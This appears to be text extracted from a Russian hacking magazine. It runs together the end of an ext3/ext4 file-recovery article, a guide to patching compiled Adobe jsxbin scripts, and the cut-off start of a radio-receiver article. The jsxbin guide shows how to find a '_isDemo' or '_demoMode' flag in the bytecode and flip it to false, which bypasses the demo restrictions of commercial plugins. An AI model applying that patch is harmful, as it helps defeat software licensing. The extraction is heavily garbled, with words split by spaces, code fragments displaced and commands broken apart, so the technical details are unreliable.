Ес ли  же  и  это го  все  рав но  недос таточ но,  соз дает ся  блок  трой ной  кос‐ 

венной  адре сации  (3x  ,  или  ),
содер жащий  ссыл ки  на  бло ки  двой ной  кос венной  адре сации.  Иерар хия
непос редс твен ных бло ков и бло ков кос венной адре сации схе матич но изоб‐ 
ражена ниже (блок трой ной кос венной адре сации не показан).

INDIRECT  BLOCK TRIPLE  INDIRECT  BLOCK

Схе ма бло ков адре сации ext3

По  срав нению  с  NTFS  такая  схе ма  хра нения  информа ции  о  раз мещении
устро ена нам ного про ще. Вмес те с тем она и гораз до «про жор ливее». С дру‐ 
гой  сто роны,  ее  несом ненное  дос тоинс тво  по  срав нению  с  NTFS  сос тоит
в том, что, пос коль ку все ссыл ки хра нят ся в неупа кован ном виде, для каж дого
бло ка  фай ла  мож но  быс тро  най ти  соот ветс тву ющий  ему  кос венный  блок,
даже если inode пол ностью раз рушен!

Имя фай ла, как уже ска зано, в  inode не хра нит ся. Ищи его внут ри катало‐ 
гов, пред став ляющих собой мас сив записей, фор мат которо го выг лядит так:

 

 

 
 

 
 

 
 

Смещение Размер              Описание
‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐
0             4 inode      ; Ссылка на inode
4             2 rec_len    ; Длина данной записи
6             1 name_len   ; Длина имени файла
7             1 file_type  ; Тип файла
8           ... name       ; Имя файла

При  уда лении  фай ла  опе раци онная  сис тема  находит  соот ветс тву ющую
запись  в  катало ге,  обну ляет поле    и  уве личи вает раз мер пред шес тву‐ 
ющей записи (поле  ) на величи ну уда ляемой записи. Таким обра зом,
пред шес тву ющая запись «пог лоща ет» уда лен ную. Хотя имя фай ла в течение
некото рого  вре мени  оста ется  нет ронутым,  ссыл ка  на  соот ветс тву ющий  ему
индек сный дес крип тор ( ) ока зыва ется унич тожен ной. Это соз дает проб‐ 
лему, так как теперь при дет ся раз бирать ся, какому фай лу при над лежит обна‐ 
ружен ное имя.

inode
rec_len

inode

От дель но сто ит погово рить о жур нале фай ловой сис темы. Он гаран тиру ет
целос тность  фай ловой  сис темы  в  слу чае  неп редви ден ных  сбо ев.  При  этом
важ но понимать, что целос тность фай ловой сис темы сов сем не озна чает сох‐ 
ранность фай лов!

Тем не менее наличие жур нала игра ет  важ ную роль при  вос ста нов лении
дан ных в ext3/4, пос коль ку информа ция в нем зачас тую помога ет вос ста нав‐ 
ливать вза имос вязи эле мен тов катало гов, инод и содер жимого фай лов (если
она,  конеч но,  еще  не была  затер та  новыми  событи ями фай ловой  сис темы).
Вот одна из при чин, почему важ но как мож но ско рее отмонти ровать раз дел
со слу чай но уда лен ными фай лами!

Жур нал фай ловой сис темы ext3 (да и ext4) может работать в трех режимах,
и от выбора будет зависеть как надеж ность, так и про изво дитель ность:

  (writeback)  —  в  жур нал  вно сит ся  толь ко  общая
информа ция  об  опе раци ях  (метадан ные),  при чем  асин хрон но  по  отно‐ 
шению к изме нению в самих дан ных;

• об ратной  записи

  (ordered) — в жур нал  так же  вно сят ся  толь ко метадан‐ 
ные, но перед записью изме нений в фай ле на диск;

• упо рядо чива ния

  (journal)  —  в  жур нал  записы вают ся
и метадан ные, и изме нения в самом фай ле. Этот вари ант, соот ветс твен но,
самый «про жор ливый», но толь ко он может обес печить целос тность дан‐ 
ных. Два пре дыду щих лишь уско ряют выяв ление оши бок ФС при про вер ке
ути литой   и поз воля ют вос ста новить целос тность фай ловой сис темы,
но не содер жимого хра нящих ся фай лов.

• пол ного  жур налиро вания

fsck

В самом индек сном дес крип торе при уда лении фай ла тоже про исхо дят боль‐ 
шие изме нения. Количес тво ссы лок ( ) обну ляет ся, и обновля‐ 
ется поле, хра нящее вре мя пос ледне го уда ления ( ). Все бло ки, при‐ 
над лежащие  фай лу,  в  кар те  сво бод ного  прос транс тва  ( )
помеча ются  как  неис поль зуемые,  пос ле  чего дан ный    так же  осво бож‐ 
дает ся (обновля ется  ).

i_links_count
i_dtime

block  bitmap
inode

inode bitmap

Что принесла нам ext4?
По толок раз делов ext3 сос тавля ет 16 Тбайт. И если обыч ным поль зовате лям
это  огра ниче ние  до  лам почки,  то  в  кор поратив ных  сег ментах  оно  при носит
неудобс тва.  К  тому  же  исполь зование  битовых  карт  на  боль ших  раз делах
(начиная при мер но с 1 Тбайт) замет но наг ружа ет ЦП. В резуль тате при мер но
в ядре вер сии   появи лась ext4fs. Она не так сов мести ма с ext3,  как та
сов мести ма с ext2, хотя ext3‐раз дел мож но при мон тировать как ext4 и наобо‐ 
рот  (но  тог да  теря ется  смысл  новов ведений  в  пос ледней ФС).  Более  того,
раз работ чики  пре дус мотре ли  воз можность  перехо да
с ext3 на ext4 без перефор матиро вания раз дела.
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Од но из глав ных улуч шений чет вертой рас ширен ной фай ловой сис темы —
исполь зование дерева экстен тов вмес то кар ты сво бод ных и занятых бло ков,
бла года ря  чему  она  нам ного  эффектив нее  управля ется  с  боль шими  фай‐ 
лами. Это улуч шает мас шта биру емость на раз делы боль ших объ емов. В то же
вре мя  механизм  экстен тов  поз воля ет  умень шать  фраг мента цию  фай лов,
копируя фраг менти рован ные час ти в неп рерыв ные экстен ты.

Так же  в  ext4  появил ся  механизм  кон троль ных  сумм  жур нала,  гаран тиру‐ 
ющий,  что  в  фай ловую  сис тему  будут  вне сены  кор рек тные  изме нения.  Но,
как и пред шес твен ница, ext4 может работать вооб ще без жур нала, что нем‐ 
ного  улуч шает  ее  про изво дитель ность,  но  неиз бежно  ухуд шает  надеж ность
фай ловой сис темы. Тем не менее дан ный режим мож но наз вать более пред‐ 
почти тель ным для устрой ств на осно ве флеш‐памяти, пос коль ку очень час тые
изме нения фай ла жур нала рас ходу ют ресурс яче ек памяти.

В  общем,  казалось  бы,  с  такими  нов шес тва ми  наши  дан ные  дол жны
зажить новой жизнью, не зная горес тей! Но они по‐преж нему могут про пасть
по мно гочис ленным при чинам. Что же на это ска жет нам ext4?

Струк тура  бло ков  ext4  не  силь но  отли чает ся  от  име ющей ся  в  ext3.  Нем‐ 
ного  бльшие  изме нения  ожи дали  струк туру  индек сных  дес крип торов.
Во‐пер вых,  она  при обре ла  новые  поля,  ста ла  вдвое  объ емнее  и  занима ет
минимум  256  байт.  Это  поз воля ет  ей  хра нить,  нап ример,  мет ки  вре мени
с  наносе кун дной  точ ностью  (рань ше  была  точ ность  до  секун ды),  счет чик
изме нений фай ла  (он  дает  кли енту  NFS  воз можность  понять,  изме нил ся  ли
файл на сто роне сер вера), а так же вер сию inode и его кон троль ную сум му.

Са ми же номера инод ста ли 48‐бит ными, бла года ря чему под держи вают‐ 
ся раз делы до 1 Эбайт при бло ке в 4 Кбайт. Под робно озна комить ся со струк‐ 
турой  inode  в  ext4  мож но  в  .  А  мы  заметим,
что  вмес то  кар ты  бло ков  в  ино де  ext4  по  сме щению    рас положи лось
дерево  экстен тов  .  Экстен ты  опре деля ют  неп‐ 
рерыв ный учас ток в нес коль ко рас положен ных друг за дру гом бло ков. Один
экстент может адре совать до 128 Мбайт при бло ке в 4 Кбайт. Все го в одном
индек сном дес крип торе может хра нить ся четыре экстен та, а если их не хва‐ 
тает,  то  исполь зует ся  дерево  экстен тов,  напоми нающее  схе му  кос венной
адре сации бло ков в ext3.

со ответс тву ющей докумен тации
0x28

i_block[EXT4_N_BLOCKS=15]

Схе ма дерева экстен тов в ext4

По лучить  содер жимое  слу жеб ных  дан ных  фай ловой  сис темы  в  удо бочи‐ 
таемом виде ты можешь с помощью коман ды  :fsstat

 

 

 

 

 

 
 

 
 

 
 

 

 

FILE SYSTEM INFORMATION
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
File System Type: Ext4
< . . . >
Source OS: Linux
Dynamic Structure
Compat Features: Journal, Ext Attributes, Resize Inode, Dir Index
InCompat Features: Filetype, Needs Recovery, Extents, Flexible Block 
Groups,
Read Only Compat Features: Sparse Super, Large File, Huge File, Extra 
Inode Size

 Journal ID: 00
Journal Inode: 8

 
 

 
 

 
 

METADATA INFORMATION
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
Inode Range: 1 ‐ 1572865
Root Directory: 2
Free Inodes: 1313879
Inode Size: 256
Orphan Inodes: 1456398, 1456397, 1456396, 1456395, 1456394,

 
 

 
 

 
 

CONTENT INFORMATION
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
Block Groups Per Flex Group: 16
Block Range: 0 ‐ 6291199
Block Size: 4096
Free Blocks: 4295049
< . . . >

Уда ление  фай ла  в  ext4  про исхо дит  в  целом  так  же,  как  и  в  ext3:  в  записи
катало га  обну ляет ся  поле  inode  и  пред шес тву ющая  запись  пог лоща ет  уда‐ 
ляемую.  В  жур нал  при  этом  вно сят ся  соот ветс тву ющие  записи.  Так же,  бла‐ 
года ря исполь зованию экстен тов, уда ление боль ших фай лов в ext4 быс трее,
чем в ext3.

В ПОИСКАХ УТРАЧЕННЫХ ДАННЫХ
В пер вую оче редь обя затель но раз монти руй дис ковый раз дел или, на худой
конец,  перемон тируй  его  в  режим  «толь ко  чте ние».  Лечение  активных  раз‐ 
делов  зачас тую  лишь  уве личи вает  мас шта бы  раз рушений.  Если  вос ста нав‐ 
лива емые  фай лы  находят ся  на  основном  сис темном  раз деле,  у  нас  два
пути —  заг рузить ся  с  Live  CD  или  под клю чить  вос ста нав лива емый  жес ткий
диск на Linux‐машину вто рым.

Что бы слу чай но что‐нибудь не испортить, никог да не редак тируй диск нап‐ 
рямую. Работай с его копи ей! Копию мож но соз дать коман дой 

,  где    —  имя  устрой ства,  а    —  имя  фай ла‐дам па.
Файл‐дамп мож но помес тить на любом сво бод ном раз деле или ско пиро вать
на дру гую машину по сети. Все дис ковые ути литы не заметят под воха и будут
работать  с  ним  как  с  нас тоящим  раз делом.  При  необ ходимос ти  его  даже
мож но смон тировать на фай ловую сис тему: 

,  что бы  убе дить ся,  что  вос ста нов ление  прош ло  успешно.  Коман да 
  копиру ет  вос ста нов ленный  файл‐дамп  обратно  в  раз‐ 

дел,  хотя делать это сов сем необя затель но. Про ще  (и безопас нее)  копиро‐ 
вать толь ко вос ста нав лива емые фай лы.

cp /dev/sdb1
my_dump sdb1 my_dump

mount my_dump mount_point ‐o
loop cp 
my_dump  /dev/sdb1

Особенности восстановления файлов в ext3
В ext3fs  пол ное  вос ста нов ление фай лов  невоз можно,  даже  если  эти фай лы
были толь ко что уда лены. В этом отно шении дан ная фай ловая сис тема про‐ 
игры вает  как  FAT,  так  и  NTFS.  Как  минимум —  теря ется  имя  фай ла.  Точ нее
говоря, как минимум теря ется связь имен фай лов с их содер жимым. При уда‐ 
лении неболь шого количес тва хорошо извес тных фай лов эта проб лема оста‐ 
ется реша емой. Одна ко ситу ация серь езно осложня ется, если ты уда лил нес‐ 
коль ко слу жеб ных под катало гов, в которых никог да рань ше не заг лядыва ли.

Дос таточ но час то индек сные дес крип торы наз нача ются в том же поряд ке,
в  котором  соз дают ся  записи  в  таб лице  катало гов.  Бла года ря  наличию  рас‐ 
ширений имен фай лов (.c, .gz, .mpg и так далее) количес тво воз можных ком‐ 
бинаций  соот ветс твий  обыч но  ока зыва ется  срав нитель но  неболь шим.  Тем
не  менее  вос ста новить  уда лен ный  кор невой  каталог  в  авто мати чес ком
режиме никому не удас тся (а вот NTFS с этим справ ляет ся без тру да).

В  целом  стра тегия  вос ста нов ления  выг лядит  приб лизитель но  так:  ска‐ 
ниру ем  таб лицу  индек сных  дес крип торов  ( )  и  отби раем  все
записи, чье поле   рав но нулю. Сор тиру ем их по дате уда ления,
что бы фай лы, уда лен ные пос ледни ми, ока зались в вер хних позици ях спис ка.
Как  вари ант,  если  ты  пом нишь  при мер ное  вре мя  уда ления  фай ла,  мож но
прос то наложить филь тр.

inode  table
i_links_count

Ес ли соот ветс тву ющие индек сные дес крип торы еще не затер ты вновь соз‐ 
дава емы ми фай лами, извле каем спи сок пря мых/кос венных бло ков и записы‐ 
ваем  их  в  дамп,  кор ректи руя  его  раз мер  с  уче том  «логичес кого»  раз мера
фай ла, за который отве чает поле  .i_size

А что с ext4?
По  сути,  про цесс  вос ста нов ления  фай лов  (вер нее,  проб лемы,  пре пятс тву‐ 
ющие это му) тот же, что и в ext3. Одна ко лет этак десять назад появи лась ути‐ 
лита  с  замеча тель ным  наз вани ем    (которая,  впро чем,  уме ет
работать  и  с  раз делами ext3). Она  уже нес коль ко  лет  не обновля лась,  но  и
сами струк туры ФС тоже по боль шей час ти сфор мирова лись дав но.

ext4magic

Эта  прог рамма  в  отдель ных  слу чаях  спо соб на  спас ти  не  толь ко  фай лы,
но и их наз вания вмес те со все ми атри бута ми! Важ ную роль при вос ста нов‐ 
лении игра ет сос тояние жур нала, которое и поз воля ет реконс тру иро вать вза‐ 
имос вязь фай лов с опи сыва ющей их слу жеб ной информа цией — эле мен тами
катало гов  и  индек сны ми  дес крип торами.  Естес твен но,  чем  мень ше  прош ло
вре мени и сде лано изме нений в фай ловой сис теме с момен та уда ления фай‐ 
лов,  тем  боль ше  веро ятность  их  успешно  вос ста новить.  Пос ле  слу чай ного
уда ления  фай ла  сле дует  как  мож но  быс трее  отмонти ровать  ФС  и  по  воз‐ 
можнос ти соз дать образ вос ста нав лива емо го раз дела и работать уже с ним.
Что ж, в этом деле без магии (и буб на) никак!

В  при мере  ниже  ты  можешь  видеть,  как  с  ее  помощью  уда ется  вос ста‐ 
новить  пару  све жеуда лен ных  фай лов.  Пер вой  коман дой  мы  получа ем
информа цию  о  сос тоянии  кор невого  катало га  фай ловой  сис темы  (   при‐ 
нима ет  дирек торию  отно ситель но  кор ня  раз дела,  а  не  кор невого  катало га
тво ей Linux‐сис темы). В спис ке фай лов номера инод уда лен ных фай лов взя ты
в угло вые скоб ки, а их раз мер отоб ража ется как рав ный нулю.

‐f

Сле дующая коман да воз вра щает из небытия фай лы, которые ути лита соч‐ 
ла уда лен ными за пос ледние 24 часа. По умол чанию они сох раня ются в пап ку

 в рабочем катало ге.RECOVERDIR

Вос ста нов ление све жеуда лен ных фай лов с помощью ext4magic

WARNING

Не  забывай,  что  вос ста нав ливать  фай лы  на  сам
вос ста нав лива емый раз дел — очень пло хая затея!

Бо лее того, сей час, ког да Linux далеко не толь ко «конс трук тор для гиков», ex‐
t4magic уже не единс твен ная тул за, уме ющая вос ста нав ливать фай лы на ext‐
раз делах.  Вооб ще  говоря,  таким  ути литам  мож но  пос вятить  отдель ную
статью, но на вся кий слу чай твои дра гоцен ные дан ные могут спас ти:  ,

 (от соз дателей ути литы  ),  ,  .
DMDE

PhotoRec testdisk The Sleuth Kit foremost
Так же  сущес тву ет  ути лита  ,  под держи вающая  и  вос ста нов ление

с раз делов ext2/3/4. Есть  вер сия и  под  Linux,  а  еще — бес плат ный про дукт
под наз вани ем  , работа ющий исклю читель но с семей ством рас ширен‐ 
ных  фай ловых  сис тем.  Вооб ще  говоря,  часть  из  перечис ленных  прог рамм
вос ста нав лива ет фай лы по их сиг натурам из сырых обра зов раз делов. Они,
счи тай, не зависят от исполь зуемой ФС, но в то же вре мя не помогут вос ста‐ 
новить име на фай лов и струк туру  катало гов и малопо лез ны при фраг мента‐ 
ции фай лов.

R‐Studio

R‐linux

ОН ВЫЖИВЕТ?
Фай лам — жить! Даже если им слу чилось попасть под горячую руку не на раз‐ 
деле NTFS. И чем мень ше вре мени прош ло с момен та неудач ного уда ления,
тем  боль ше шан сов  на  успешное  вос ста нов ление. Осо бен но  если  вов ремя
раз монти ровать раз делы, вни матель но про верять вво димые коман ды и вов‐ 
ремя делать резер вные копии. Ты ведь сде лал бэкап?

Что еще почитать по теме

;• Ви ки по рас ширен ным фай ловым сис темам на wiki.kernel.org
;• Ext4 Data Structures and Algorithm

статья 
поможет  пог рузить ся  в  базовые  кон цепции  это го  семей ства  фай ловых
сис тем.  Кста ти,  сам  пакет  прог рамм  e2fsprogs,  нес мотря  на  наз вание,
работа ет сов сем не толь ко с ext2.

• Design  and  Implementation  of  the  Second  Extended  File  system

На  домаш них  стра нич ках  ути лит  по  вос ста нов лению  дан ных  так же  мож но
озна комить ся с нюан сами вос ста нов ления информа ции на ext‐раз делах:

, он же gET iT i sAY;• giis
;• ext4magic
;• extundelete

;• ext3grep
.• фо рум по TestDisc и PhotoRec
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БИНАРНЫЕ СКРИПТЫ ADOBE
БЕЗ ПЕРЕКОМПИЛЯЦИИ

МВК

ВЗЛОМ

Го ворят, что, если бы в JavaScript нор маль‐ 
но работал garbage collector,  весь код уле‐ 
тал  бы  в  треш  сра зу  пос ле  написа ния.
У  это го  язы ка  и  впрямь мил лионы  пре дан‐ 
ных хей теров, но тем не менее его про дол‐ 
жают  активно  исполь зовать.  Нап ример,
кор порация  Adobe  —  ког да  соз дает  рас‐ 
ширения  и  допол нения  для  собс твен ных
про дук тов. А то, что однажды было соз дано,
при желании может быть сло мано или про‐ 
пат чено. Об этом  увле катель ном про цес се
мы сегод ня и погово рим.

Прак тичес ки  каж дая  сов ремен ная  адо бов ская  прог рамма  исполь зует  три
вида  допол нитель ных  модулей:  пла гины  (plugins),  рас ширения  (extensions)
и  скрип ты.  Для  соз дания  таких  модулей  исполь зует ся  JavaScript,  и,  что бы
порадо вать  прог раммис тов,  в  Adobe  при дума ли  собс твен ную  сре ду  раз‐ 
работ ки  под  наз вани ем  ExtendScript  Toolkit  c  блек‐дже ком,  объ ектны ми
моделя ми, отладчи ком и даже при митив ным ком пилято ром в бинар ный код.

Да‐да, чувак, ты не ослы шал ся: я ска зал «бинар ный код». Нес мотря на то
что  JavaScript —  это  интер пре тиру емый  язык,  прог раммы  на  котором  пред‐ 
став ляют  собой  обыч ный  pain  text,  такой  эксги бици онизм  по  вку су  далеко
не всем. Жад ные ком мерсы хотят защитить свой код от чужих глаз и шалов‐ 
ливых  рук.  Имен но  для  подоб ных  раз работ чиков  Adobe  соз дала  свой  собс‐ 
твен ный уни каль ный и поч ти бинар ный фор мат скрип та — jsxbin. Для его соз‐ 
дания  даже  не  тре бует ся  никакой  допол нитель ный  ком пилятор,  дос таточ но
в  диало ге  сох ранения  кода  в  ESTK  ука зать  не  тек сто вый  фор мат  ,
а бинар ный  .

.jsx
.jsxbin

Сло восо чета ние «поч ти бинар ный» тут при сутс тву ет нес лучай но. Он, стро‐ 
го говоря, не бинар ный в общепри нятом смыс ле это го сло ва, ибо набор сим‐ 
волов,  который  в  нем  исполь зует ся, —  базовый  тек сто вый,  даже  без  спец‐ 
симво лов,  что  поз воля ет  встав лять  такой  «бинар ный»  код  в  текст  обыч ных
скрип тов. Тем не менее это реаль но ком пилиро ван ный син такси чес кий псев‐ 
докод,  вос ста новить  исходный  текст  из  которо го  —  задача  весь ма  неод‐ 
нознач ная и нет риви аль ная. Этот фарш слож но про вер нуть назад.

Но  иног да  такая  необ ходимость  все  же  воз ника ет.  Нап ример,  если
исходни ки уте ряны, автор пла гина недос тупен, а тебе надо под пра вить фун‐ 
кци ональ ность или  хотя бы под смот реть,  как реали зова но  то или иное дей‐ 
ствие (ибо адо бов ская докумен тация в индус ском исполне нии безум на, бес‐ 
смыс ленна  и  бес пощад на).  В  общем,  порой  быва ет,  что  люди  жаж дут
информа ции,  но  она  скры та  и  засек речена,  фор мат  не  докумен тирован
и защищен вся чес ким законо датель ством.

Я не собира юсь углублять ся в без донные пучины уны лого кодин га. Наша
цель  нес коль ко  дру гая:  научить ся  без  лиш него  пог ружения  в  сухую  теорию
быс тро и прос то вно сить исправ ления в псев докод адо бов ских рас ширений.

Ко неч но,  в  иде аль ном  слу чае  было  бы  луч ше  пол ностью  ревер сировать
исходный код один в один и вно сить изме нения имен но в него. При чем к это‐ 
му есть впол не опре делен ные пред посыл ки: нес мотря на недоку мен тирован‐ 
ность фор мата, сущес тву ет нес коль ко впол не хороших, год ных деком пилято‐ 
ров раз ной сте пени удобс тва и фун кци ональ нос ти. Не буду при водить ссыл ки
на  них  по  эти чес ким  сооб ражени ям,  но  пару  наз ваний  ука жу:  это  jsxbindec
и jsxbin‐to‐jsx. При чем пос ледний пред став лен даже в сво бод ных исходни ках,
изу чая  которые  дотош ный  и  нелени вый  читатель  может  получить  исчерпы‐ 
вающее пред став ление о прин ципах ком пиляции фор мата jsxbin.

Хо рошо, если нуж ный код отлично деком пилиру ется, а получен ный резуль‐ 
тат запус кает ся и работа ет иден тично исходно му пла гину. Одна ко такое слу‐ 
чает ся  ред ко.  Деком пилято ры  неидеаль ны,  а  их  при сутс твие  в  сво бод ном
дос тупе  дает  пол ный  прос тор  авто рам‐обфуска торам  выдумы вать  все воз‐ 
можные  ловуш ки,  сво дящие  деком пилятор  с  ума.  Да  и  вооб ще,  пос коль ку
пре обра зова ние  jsx  →  jsxbin  —  это  все‐таки  ком пиляция,  оно  не  всег да
однознач но  обра тимо.  На  прак тике  это  чаще  все го  выг лядит  так:  jsxbin
успешно  деком пилиру ется  в  нес коль ко мегабай тов  кода,  который  в  луч шем
слу чае выда ет син такси чес кие ошиб ки (их потом при дет ся кро пот ливо и уны‐ 
ло фик сить), а в худ шем — вызыва ет ошиб ки вре мени выпол нения вида

 

 

Error 21: is not an object. Line: 3164 ‐> _0x20031 += ((parseInt(
_0x1FFFD[_$_f79d[178]](_0x1f435)

По нят ное  дело,  резуль тат  подоб ной  деком пиляции  пот ребу ется  силь но
допилить напиль ником до пол ной работос пособ ности, при чем, к сожале нию,
понадо бит ся вни кать в логику работы и пос тро ения прог раммы. Что час тень‐ 
ко слож нее, чем писать ее с нуля. Мы же, пов торяю, люди занятые, ленивые
и нелюбо пыт ные. Нам бы поп равить пару стро чек, чтоб работа ло и осталь ное
не полома лось.

Итак,  сфор мулиру ем  задачу.  Пред положим,  исходный  код  опре делен ной
сте пени дос товер ности получен, про ана лизи рован, иско мое мес то най дено.
Нам нуж но сде лать патч в бинар ном коде без ущер ба для работос пособ ности
в целом. Нап ример, мы наш ли в деком пилиро ван ном коде конс трук цию вида

,  а  нам  надо  заменить  ее    без  пол ной
переcбор ки исходни ка.
_isDemo=true _isDemo=false

Что ж, это впол не воз можно. Для начала нуж но най ти это мес то. Иде аль‐ 
ный слу чай — если деком пилятор уме ет выпол нять сме щения до команд. Ска‐ 
жем, у нас есть сме щение  , по которо му в бинар нике мы видим стро ку

…  Упс,  я  тебя  обма нул,  слег ка  вни кать
в струк туру jsxbin все‐таки при дет ся.

0xD927
BjzJifjEjFjNjPiNjPjEjF2iUBfnctf

Пос тара юсь  объ яснить  как  мож но  про ще,  а  более  под робную  информа‐ 
цию  жела ющие  могут  получить,  вдум чиво  покурив  исходни ки  jsxbin‐to‐jsx.
Пер вый сим вол у нас   — это код син такси чес кой конс трук ции, соот ветс тву‐ 
ющей  условной метако ман де  ,  в  которую  тран сли руют ся  гло баль ные
прис ваива ния. Подоб ные конс трук ции, стро го говоря, могут быть мно гоэтаж‐ 
ными и чудовищ но слож ными и рас тягивать ся на нес коль ко килобай тов кода.
Но,  по  счастью,  у  нас  идет  прос тое  прис ваива ние  булевой  кон стан ты  гло‐ 
баль ной  перемен ной  (в  слу чае  локаль ной  было  бы  ,  соот ветс‐ 
твен но, с кодом  ). Что мы и видим даль ше: сле дующий опкод —   (Variable).
Затем сим вол   ука зыва ет на то, что перемен ная в коде встре чает ся пер вый
раз, а зна чит, далее сле дует ее имя — тек сто вая стро ка. Стро ки кодиру ются
так:  пер вый  сим вол  —  счет чик,  затем  идут  сим волы  стро ки.  Пос коль ку  мы
огра ниче ны набором латин ских букв, каж дый байт (вклю чая счет чик) кодиру‐ 
ется сле дующим обра зом:

B
Assign

LocalAssign
S j

z

   0 : A
   1 : B
   2 : C

...
   25 : Z
   26 : ga
   27 : gb
   28 : gc
   29 : gd
   30 : ge
   31 : gf
   32 : gA
   33 : gB

...
 58: gZ
 59: ha
 60: hb

...

По  этой  логике  счет чик  ,  сле дующий  сим вол  ,
, то eсть  .

"J"=9 "if"=0x5F="_"
"jE"=0x64="d" "ifjEjFjNjPiNjPjEjF"=9,"_demoMode"

Во обще  говоря,  кон стан ты  вов се  не  обя затель но  могут  быть  одно бай‐ 
товыми. Нап ример, если пер вый сим вол кон стан ты 2, это зна чит, что она 16‐
бит ная  и  ее  бай ты  фор миру ются  из  сле дующих  за  ней  одно бай товых  кон‐ 
стант. То есть иду щие за име нем перемен ной сим волы   рас шифро выва‐ 
ются как 16‐бит ная кон стан та 

2iUB
."B" << 8+"iU"

Смысл этой кон стан ты — индекс дан ной перемен ной в общем сте ке иден‐ 
тифика торов прог раммы. То есть при сле дующем обра щении (это было пер‐ 
вое)  код  перемен ной  будет  без  сим вола  ,  прос то  .  Запом ним  этот
факт, если при дет ся искать перемен ную даль ше. Теперь смот рим сле дующие
сим волы: три сим вола   пред став ляют собой обыч ную пос ледова тель ность
син такси чес кой  конс трук ции  ,  а  вот  сле дующий  сим вол   —  кодиро‐ 
ван ная логичес кая кон стан та   — иско мый вто рой опе ранд прис ваива ния.

z j2iUB

fnc
Assign t
true

Нес ложно  догадать ся,  что  про тиво полож ная  ей  по  смыс лу  кон стан та
  кодиру ется  как  ,  то  есть  для  того,  что бы  дан ный  опе ратор  поменял

свой смысл на  , надо все го‐нав сего испра вить один этот сим‐ 
вол, так, что бы иско мая стро ка при обре ла вид 

.

false f
_isDemo=false

BjzJifjEjFjNjPiNjPjEjF2i‐
UBfncff

Что при ятно — для это го даже не нужен Hex‐редак тор, ведь по сути фор‐ 
мат  jsxbin  тек сто вый,  такой файл мож но  редак тировать  хоть  в  .
Более того, мож но даже не заботить ся о сох ранении длин учас тков кода, ведь
в нем отсутс тву ют пря мые сме щения и опе рато ры перехо да! Мож но менять
дли ны строк, перемен ных, кон стант, добав лять и уда лять целые син такси чес‐ 
кие выраже ния, разуме ется, c сох ранени ем валид ности син такси чес ких конс‐ 
трук ций, про веряя их деком пиляци ей получен ного кода.

notepad.exe

Поп робу ем  усложнить  задачу.  У  нас  нет  пря мого  сме щения  до  нуж ного
опе рато ра, одна ко есть номер нуж ной стро ки. Ска жем, вот такой:

// Line: 1704
   _demoMode = true;

Сно ва  при дет ся  обра тить ся  к  теории:  каж дое  закон ченное  син такси чес кое
выраже ние  кодиру ется  конс трук цией    с  опко дом  .  В  нашем
при мере, слег ка отод винув шись от кода  , мы видим пря мо перед ним
пос ледова тель ность  . Сим вол   — опкод  ,  эта  конс‐ 
трук ция сто ит в начале каж дой ском пилиро ван ной стро ки.   — это 16‐бит‐ 
ная кон стан та, рав ная  . Далее сле дует стан дар тная
пос ледова тель ность  .

ExprStatement J
Assign

J2lIGnA J ExprStatement
2lIG

"G"<<8+"lI"=0x6A0=1704
nA

Та ким обра зом, у нас есть воз можность искать в бинар ном коде син такси‐ 
чес кие конс трук ции по номерам строк и кон тек сту: име нам иден тифика торов,
стро ковым и чис ловым кон стан там, а потом менять их на свои собс твен ные.
В  прин ципе,  при  дос таточ но  вдум чивом  под ходе  мож но  отдель но  ском‐ 
пилиро вать в jsxbin незави симый кусок кода и внед рить его в син такси чес кую
конс трук цию, акку рат но поменяв име на и индексы иден тифика торов.

Те перь лож ка дег тя. Как гла сит древ няя вос точная муд рость, жаба хит ра,
но  гадюка  нам ного  хит рее  ее.  С  тех  пор  как  прог рессив ное  челове чес тво
научи лось ревер сить jsxbin, авто ры скрип тов уже не наде ются на этот фор мат
и  выдумы вают  спо собы  обфуска ции  один  затей ливее  дру гого.  К  при меру,
мож но завер нуть  jsxbin в  jsx,  затем еще в один  jsxbin и  так далее — пря мой
поиск строк и перемен ных в таком сло еном бинар нике ничего не даст.

Мож но  пос тупить  хит рее:  фор мировать  сам  код  на  лету,  час тями  рас‐ 
шифро вывая его по ходу работы скрип та, да, в кон це кон цов, прос то получая
его  с  сер вера  по  опре делен ному  зап росу.  Поэто му  дан ная  статья —  все го
лишь руководс тво к дей ствию, что бы сэконо мить вре мя в самых прос тых слу‐ 
чаях.
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ТРЮКИ

Да же  в  сов ремен ном  мире  радио  оста ется  эффектив ным
спо собом  при ема  и  переда чи  информа ции,  который  поз‐ 
воля ет  миновать  гра ницы  и  лиш них  пос редни ков.  Прос той
и мак сималь но надеж ный, сиг нал ради останций мож но при‐ 
нять  вне  зависи мос ти  от  наличия  вышек  сетей  5G  в  тво ей
мес тнос ти.  Как  соб рать  свой  при емник  из  рос сыпи  мик‐ 
росхем и деталей, ты узна ешь из это го матери ала.

ПРОИСХОЖДЕНИЕ
Ис тория при емни ков прин ципи аль но нового типа началась в 1901 году, ког да

  показал  воз можность  при ема  сиг нала  на  биениях.
Суть  револю цион ного  метода  зак лючалась  в  том,  что  в  при емник,  помимо
ради осиг нала из  антенны,  подавал ся  вспо мога тель ный сиг нал близ кой  час‐ 
тоты, в резуль тате чего на выходе мож но было обна ружить биения — сиг нал
с  час тотой,  рав ной  раз ности  час тот  при нима емо го  сиг нала  и  выхода  вспо‐ 
мога тель ного генера тора. Эти биения были слыш ны в телефон ных аппа ратах,
при чем,  как  показа ли нес коль ко поз днее,  ампли туда  этих биений ока залась
замет но выше ампли туды полез ного сиг нала.

Ред жинальд  Фес сенден

Вспо мога тель ный  генера тор  иссле дова тель  наз вал  «гетеро дином»  (от
гре чес кого   — иной или внеш ний и   — сила), а сам при емник
«гетеро дин ным».  На  тот  момент  это  был  новый  спо соб  детек тирова ния,
который поз волял при нимать телег рафный ради осиг нал тоном на слух.

ἕτερος δύναμις

Здесь  бук вой  O  обоз начен  гетеро дин,  а  сам  при емник  пред став лял  собой
